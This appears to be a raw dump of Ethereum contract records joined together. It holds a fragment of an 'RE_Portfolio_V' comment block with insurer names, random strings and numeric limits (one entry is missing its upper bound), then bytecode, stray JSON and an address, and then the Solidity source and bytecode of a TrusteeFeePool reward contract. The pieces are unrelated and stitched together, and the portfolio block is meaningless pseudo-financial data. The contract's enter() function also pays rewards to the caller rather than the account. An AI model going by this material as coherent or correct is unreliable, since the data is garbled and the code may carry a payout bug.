RE_Portfolio_V_metadata_line_12_____Atrium_Underwriters_Limited_20250515 > // < 17CpC1mGLLl6X1n8VvNPxIQwZCKM5iu7jL2pd1fh6bXBrOiRG9oEb0gxE11Dwc0O > // < 1E-018 limites [ 325080364,120425 ; 361572162,824439 ] > // < 0x0000000000000000000000000000000000000000000000791A1473086B23580E > // < RE_Portfolio_V_metadata_line_13_____Atrium_Underwriters_Limited_20250515 > // < 7alSbD975ydyTph2a362o3029OFEDn3D0tr4WuCqxMh0a85Vz5gc9gd5MshffAgG > // < 1E-018 limites [ 361572162,824439 ; 415192252,059023 ] > // < 0x000000000000000000000000000000000000000000000086B23580E9AABD1B69 > // < RE_Portfolio_V_metadata_line_14_____Atrium_Underwriters_Limited_20250515 > // < NPqBhcq7t4m67aI5246M54Uy1VFtpG1N8y1ggv4fmx60Q0UuR2tk9vj47cMkwr37 > // < 1E-018 limites [ 415192252,059023 ; 445973126,511267 ] > // < 0x00000000000000000000000000000000000000000000009AABD1B69A6234FE7F > // < RE_Portfolio_V_metadata_line_15_____Atrium_Underwriters_Limited_20250515 > // < 8Pc7axGoi3te0uRB5Jrn5KgSd4N7BVFKTB199vUfIc58Nea4w0EJYhD8Jl58iz5i > // < 1E-018 limites [ 445973126,511267 ; 503241109,214056 ] > // < 0x0000000000000000000000000000000000000000000000A6234FE7FBB78D003D > // < RE_Portfolio_V_metadata_line_16_____Australia_AAA_QBE_Insurance__International__Limited_Ap_A_20250515 > // < T1Hy0TabPD7d519ngJZN0Z7G27sR6B37nW6pb8Ark53pd55YNdijmQEbR4BX49OD > // < 1E-018 limites [ 503241109,214056 ; 551457233,853145 ] > // < 0x0000000000000000000000000000000000000000000000BB78D003DCD6F0F7ED > // < RE_Portfolio_V_metadata_line_17_____Australia_AAA_QBE_Insurance__International__Limited_Ap_A_20250515 > // < 3L657Ky7e6kFm9Xy4pd540ajSePWsPSq8m9Tck9Kus56cj7DT2qP2w44GxhQTiNT > // < 1E-018 limites [ 551457233,853145 ; 569681071,392991 ] > // < 0x0000000000000000000000000000000000000000000000CD6F0F7EDD43905677 > // < RE_Portfolio_V_metadata_line_18_____Aviva_Insurance_Limited_Ap_A_20250515 > // < UKIKqlSf7GgT1b5d6D0JdJ1L4YQs7tqB1sd57Bbil5R9E6EFdF81qHU15oECha37 > // < 1E-018 limites [ 569681071,392991 ; 607680471,231113 ] > // < 0x0000000000000000000000000000000000000000000000D43905677E260ED207 > // < RE_Portfolio_V_metadata_line_19_____Aviva_Re_Limited_Ap_m_20250515 > // < Z0LSj2vtCAQz2C0902CQ1MvDDa4fWL1n69wux1F2243YvLU5XD24P7E6G9q0mV96 > // < 1E-018 limites [ 607680471,231113 ; 655868639,043572 ] > // < 0x0000000000000000000000000000000000000000000000E260ED207F45482114 > // < RE_Portfolio_V_metadata_line_20_____AWP_Health_&_Life_SA_Ap_20250515 > // < n2P6YegPl43V9d4S85ybQ88DPoEZximtoNmQwToX1qq4kv3191l93JSp9OP1Rd7m > // < 1E-018 limites [ 655868639,043572 ; 734988668,91077 ] > // < 0x000000000000000000000000000000000000000000000F45482114111CDFB6BF > // Programme d&#39;&#233;mission - Lignes 21 &#224; 30 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_V_metadata_line_21_____AXA_Corporate_Solutions_Assurance_AAm_20250515 > // < 7TlSQ1ulkQ7x5Ge9QG6V1XKxOF5LxPAww5N83iKL8IH2SEoUG6V57gjYw1u2Dfai > // < 1E-018 limites [ 734988668,91077 ; 752087800,446 ] > // < 0x00000000000000000000000000000000000000000000111CDFB6BF1182CAEB00 > // < RE_Portfolio_V_metadata_line_22_____AXA_Corporate_Solutions_Assurance_AAm_m_20250515 > // < 3bBRZsMPY88eBP795f9mk2kn6X6wGAdUxH0NLs8mMrzR8O7j85F83TpP5K2AXa71 > // < 1E-018 limites [ 752087800,446 ; 824467231,792289 ] > // < 0x000000000000000000000000000000000000000000001182CAEB001332352A5F > // < RE_Portfolio_V_metadata_line_23_____AXA_France_IARD_AAm_m_20250515 > // < beAlDu8tUh6o6QU97iz5RC407kBWQi7L435Q968oGi2hp4h7u4JWShi70H2wl1i3 > // < 1E-018 limites [ 824467231,792289 ; 888860762,047968 ] > // < 0x000000000000000000000000000000000000000000001332352A5F14B205E520 > // < RE_Portfolio_V_metadata_line_24_____AXA_France_Vie_AAm_20250515 > // < 8LgL7XRURFWC78TXpbnZw7P4NmV3qwM1RkNT2Z7J33Y6Om6Hj0jVvo13Nla6n8Sq > // < 1E-018 limites [ 888860762,047968 ; 952890111,711953 ] > // < 0x0000000000000000000000000000000000000000000014B205E520162FAAEDD7 > // < RE_Portfolio_V_metadata_line_25_____AXA_Global_P&C_A_Ap_20250515 > // < HvaqAhzVlkQ11kpkqpdy2qp60X1FDDGsjHf40fZ74v1H5Bjs1ycbQ7p6NQcvBwvO > // < 1E-018 limites [ 952890111,711953 ; 973331769,147193 ] > // < 0x00000000000000000000000000000000000000000000162FAAEDD716A9826C46 > // < RE_Portfolio_V_metadata_line_26_____AXA_Reassurance_20250515 > // < zS844I4KKb7ElSp2763ayRwe4mj7eu2U36W8238qR72Paa57AmBdQ7Fgi4JE4uJs > // < 1E-018 limites [ 973331769,147193 ; 991932373,293938 ] > // < 0x0000000000000000000000000000000000000000000016A9826C46171860B145 > // < RE_Portfolio_V_metadata_line_27_____AXA_Reassurance_20250515 > // < 2Yu6SN9QDhgS805K7tYln92862flO43095SiredjuJJAKUAntV0pjohxM5w3M0M6 > // < 1E-018 limites [ 991932373,293938 ; 1020948753,88637 ] > // < 0x00000000000000000000000000000000000000000000171860B14517C5542CF0 > // < RE_Portfolio_V_metadata_line_28_____AXAmPPP_HEALTHCARE_LIMITED_AAm_m_20250515 > // < F10g08XO7W2W36TOZPjjotz25CK6fvqzZQ9pYgwOe1A0rmjw8Q5NB4b38aJ35b0k > // < 1E-018 limites [ 1020948753,88637 ; 1038742948,79752 ] > // < 0x0000000000000000000000000000000000000000000017C5542CF0182F63F653 > // < RE_Portfolio_V_metadata_line_29_____Axis_Capital_20250515 > // < DdobipY6P391GUtI0q7KO116Bwsyr110DCdP9Xj3Cy72W70keH4U0TsZ070dh785 > // < 1E-018 limites [ 1038742948,79752 ; 1057547175,56601 ] > // < 0x00000000000000000000000000000000000000000000182F63F653189F78EF68 > // < RE_Portfolio_V_metadata_line_30_____Axis_Capital_20250515 > // < n99X173H9vkCvi3Vv4jr7p46Ly721ySXZJR3tC56ICMG3H627Km1ueUYk2WIZO1L > // < 1E-018 limites [ 1057547175,56601 ; 1108289461,6947 ] > // < 0x00000000000000000000000000000000000000000000189F78EF6819CDEB84ED > // Programme d&#39;&#233;mission - Lignes 31 &#224; 40 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_V_metadata_line_31_____Axis_Capital_Holdings_Limited_20250515 > // < 754M3359NcyCU50W7Sl88kM5NMn9HM75fz5oyZ1JchPYOB3zVR0941nLp9l288NQ > // < 1E-018 limites [ 1108289461,6947 ; 1151435005,60256 ] > // < 0x0000000000000000000000000000000000000000000019CDEB84ED1ACF166504 > // < RE_Portfolio_V_metadata_line_32_____Axis_Management_Group_20250515 > // < 8F2Ir93d0PVWzc0FNALD0ShZW1Dj5U6R45Ra6XhoK5bTTs3aj1795Sh3h04q9wYP > // < 1E-018 limites [ 1151435005,60256 ; 1178154672,23737 ] > // < 0x000000000000000000000000000000000000000000001ACF1665041B6E595ECB > // < RE_Portfolio_V_metadata_line_33_____Axis_Management_Group_20250515 > // < 8DB1596KpMZl3zY3pPe3x1yxiZARc93X0X5jbJz188rxg6lL0a4A3ojF2qt5Yr58 > // < 1E-018 limites [ 1178154672,23737 ; 1213908739,07236 ] > // < 0x000000000000000000000000000000000000000000001B6E595ECB1C4375BF27 > // < RE_Portfolio_V_metadata_line_34_____Axis_Managing_Agency_Limited_20250515 > // < psh5aa6N8Cl7BNp6t676fCc5hLNp9v6Rn29fpoa77PsGxKvAg43YCUFTnJt7AM9y > // < 1E-018 limites [ 1213908739,07236 ; 1225059997,9036 ] > // < 0x000000000000000000000000000000000000000000001C4375BF271C85ED37A2 > // < RE_Portfolio_V_metadata_line_35_____Axis_Managing_Agency_Limited_20250515 > // < jcefa1we6dU2BmcPDUpE15285n4QaN2rx2p7Txj16l34JEmHx0uKpSE9FgzPV7EV > // < 1E-018 limites [ 1225059997,9036 ; 1262133215,03445 ] > // < 0x000000000000000000000000000000000000000000001C85ED37A21D62E67513 > // < RE_Portfolio_V_metadata_line_36_____Axis_Managing_Agency_Limited_20250515 > // < PWIXLE9z0o8M3lEyp86Aj5H309rwl5GP46ZqbdM24zh9GBEQAH6hd8937x8nWq9A > // < 1E-018 limites [ 1262133215,03445 ; ] > // < 0x000000000000000000000000000000000000000000001D62E675131EDAF64895 > // < RE_Portfolio_V_metadata_line_37_____Axis_Managing_Agency_Limited_20250515 > // < XY5zH3bQ5I9QJOch8zETUp4812PJa21ym0u7l42fI2kExZ5859pg64cuWO55CJXx > // < 1E-018 limites [ 1325225919,05019 ; 1339253251,61118 ] > // < 0x000000000000000000000000000000000000000000001EDAF648951F2E924B5D > // < RE_Portfolio_V_metadata_line_38_____Axis_Managing_Agency_Limited_20250515 > // < 3tMxMx0ptz73A6al9S3EawHF187E5u832l49lA812uvYlplKL9ySS4W84T3Glq5N > // < 1E-018 limites [ 1339253251,61118 ; 1385190157,24825 ] > // < 0x000000000000000000000000000000000000000000001F2E924B5D2040607320 > // < RE_Portfolio_V_metadata_line_39_____Axis_Managing_Agency_Limited_20250515 > // < Ask6YMag5gS7DD8RsqC3eKZI35ku0m1X607PjL922PYyd2Q6Ude0CV7yEDzaXQz7 > // < 1E-018 limites [ 1385190157,24825 ; 1405087030,92401 ] > // < 0x00000000000000000000000000000000000000000000204060732020B6F8AB68 > // < RE_Portfolio_V_metadata_line_40_____Axis_Managing_Agency_Limited_20250515 > // < 0G24P2t9By89Oz3h3X893rX2b69EFQLp8Scx4Vz2DCzOZ7MolstyCpq1ksmIo4N3 > // < 1E-018 limites [ 1405087030,92401 ; 1438753004,43817 ] > // < 0x0000000000000000000000000000000000000000000020B6F8AB68217FA2DE4F > }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a7230582028e99bcc6140a7fa755739b451fa1659d25dcad5a2c3535897bb1c401af6b6900029
{"success": true, "error": null, "results": {}}
7,449
0xc251A54bFfa8db9B64AC05BD38ad4891f60C2De3
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: ITrusteeCount interface ITrusteeCount { function getRoleMemberCount(bytes32 role) external view returns (uint256); } // Part: ITrusteeFeePool interface ITrusteeFeePool { function exit(address account) external; function enter(address account) external; function notifyReward(uint reward) external; } // Part: OpenZeppelin/openzeppelin-contracts@3.3.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@3.3.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/openzeppelin-contracts@3.3.0/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: OpenZeppelin/openzeppelin-contracts@3.3.0/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: TrusteeFeePool.sol contract TrusteeFeePool is Ownable, ITrusteeFeePool{ using SafeMath for uint256; uint256 public perTrustee; bytes32 public tunnelKey; mapping(address=>uint256) public userPerPaid; mapping(address=>uint256) public userReward; mapping(address=>uint256) public balanceOf; IERC20 public rewardToken; address public boringDAO; address public tunnel; constructor(address _rewardToken, bytes32 _tunnelKey, address _boringDAO, address _tunnel) public { rewardToken = IERC20(_rewardToken); tunnelKey = _tunnelKey; boringDAO = _boringDAO; tunnel = _tunnel; } function trusteeCount() internal view returns(uint){ return ITrusteeCount(boringDAO).getRoleMemberCount(tunnelKey); } function setBoringDAO(address _boringDAO) external onlyOwner { boringDAO = _boringDAO; } function setTunnel(address _tunnel) external onlyOwner { tunnel = _tunnel; } function notifyReward(uint reward) public override onlyTunnel { perTrustee = perTrustee.add(reward.div(trusteeCount())); } function earned(address account) public view returns (uint) { return perTrustee.sub(userPerPaid[account]).mul(balanceOf[account]).add(userReward[account]); } function claim() public updateReward(msg.sender){ uint reward = userReward[msg.sender]; userReward[msg.sender] = 0; if (reward > 0) { rewardToken.transfer(msg.sender, reward); } } function enter(address account) external override onlyBoringDAO updateReward(account){ balanceOf[account] = 1; uint reward = userReward[msg.sender]; userReward[msg.sender] = 0; if (reward > 0) { rewardToken.transfer(msg.sender, reward); } } function exit(address account) external override onlyBoringDAO updateReward(account) { balanceOf[account] = 0; } modifier updateReward(address account) { userReward[account] = earned(account); userPerPaid[account] = perTrustee; _; } modifier onlyBoringDAO { require(msg.sender == boringDAO, "TrusteePool::caller is not boringDAO"); _; } modifier onlyTunnel { require(msg.sender == tunnel, "TrusteePool::caller is not tunnel"); _; } }
0x608060405234801561001057600080fd5b50600436106101145760003560e01c806370a08231116100a2578063add3fe3911610071578063add3fe391461027a578063b42652e914610282578063d014c01f146102a8578063f2fde38b146102ce578063f7c618c1146102f457610114565b806370a0823114610220578063715018a6146102465780637d3e45a21461024e5780638da5cb5b1461027257610114565b80634e71d92d116100e95780634e71d92d146101a757806360993b5b146101af57806360a76aed146101cc578063652ea8db146101d45780636c1d13d3146101fa57610114565b80620a74be146101195780628cc262146101515780632f4f0d1c146101775780633c18e4581461017f575b600080fd5b61013f6004803603602081101561012f57600080fd5b50356001600160a01b03166102fc565b60408051918252519081900360200190f35b61013f6004803603602081101561016757600080fd5b50356001600160a01b031661030e565b61013f610363565b6101a56004803603602081101561019557600080fd5b50356001600160a01b0316610369565b005b6101a56103e3565b6101a5600480360360208110156101c557600080fd5b50356104ae565b61013f61051b565b6101a5600480360360208110156101ea57600080fd5b50356001600160a01b0316610521565b61013f6004803603602081101561021057600080fd5b50356001600160a01b031661059b565b61013f6004803603602081101561023657600080fd5b50356001600160a01b03166105ad565b6101a56105bf565b610256610661565b604080516001600160a01b039092168252519081900360200190f35b610256610670565b61025661067f565b6101a56004803603602081101561029857600080fd5b50356001600160a01b031661068e565b6101a5600480360360208110156102be57600080fd5b50356001600160a01b031661071d565b6101a5600480360360208110156102e457600080fd5b50356001600160a01b0316610846565b61025661093e565b60046020526000908152604090205481565b6001600160a01b038116600090815260046020908152604080832054600583528184205460039093529083205460015461035d936103579290916103519161094d565b90610996565b906109ef565b92915050565b60025481565b610371610a49565b6000546001600160a01b039081169116146103c1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c53833981519152604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b336103ed8161030e565b6001600160a01b038216600090815260046020818152604080842094909455600154600382528484205533835252908120805491905580156104aa576006546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561047d57600080fd5b505af1158015610491573d6000803e3d6000fd5b505050506040513d60208110156104a757600080fd5b50505b5050565b6008546001600160a01b031633146104f75760405162461bcd60e51b8152600401808060200182810382526021815260200180610c976021913960400191505060405180910390fd5b61051561050c610505610a4d565b8390610acd565b600154906109ef565b60015550565b60015481565b610529610a49565b6000546001600160a01b03908116911614610579576040805162461bcd60e51b81526020600482018190526024820152600080516020610c53833981519152604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60036020526000908152604090205481565b60056020526000908152604090205481565b6105c7610a49565b6000546001600160a01b03908116911614610617576040805162461bcd60e51b81526020600482018190526024820152600080516020610c53833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b031681565b6000546001600160a01b031690565b6008546001600160a01b031681565b6007546001600160a01b031633146106d75760405162461bcd60e51b8152600401808060200182810382526024815260200180610c736024913960400191505060405180910390fd5b806106e18161030e565b6001600160a01b039182166000908152600460209081526040808320939093556001546003825283832055939092168252600590925290812055565b6007546001600160a01b031633146107665760405162461bcd60e51b8152600401808060200182810382526024815260200180610c736024913960400191505060405180910390fd5b806107708161030e565b6001600160a01b038083166000908152600460208181526040808420959095556001805460038352868520559387168352600581528483209390935533825290915290812080549190558015610841576006546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561081457600080fd5b505af1158015610828573d6000803e3d6000fd5b505050506040513d602081101561083e57600080fd5b50505b505050565b61084e610a49565b6000546001600160a01b0390811691161461089e576040805162461bcd60e51b81526020600482018190526024820152600080516020610c53833981519152604482015290519081900360640190fd5b6001600160a01b0381166108e35760405162461bcd60e51b8152600401808060200182810382526026815260200180610c0c6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031681565b600061098f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b0f565b9392505050565b6000826109a55750600061035d565b828202828482816109b257fe5b041461098f5760405162461bcd60e51b8152600401808060200182810382526021815260200180610c326021913960400191505060405180910390fd5b60008282018381101561098f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6007546002546040805163ca15c87360e01b81526004810192909252516000926001600160a01b03169163ca15c873916024808301926020929190829003018186803b158015610a9c57600080fd5b505afa158015610ab0573d6000803e3d6000fd5b505050506040513d6020811015610ac657600080fd5b5051905090565b600061098f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ba6565b60008184841115610b9e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b63578181015183820152602001610b4b565b50505050905090810190601f168015610b905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390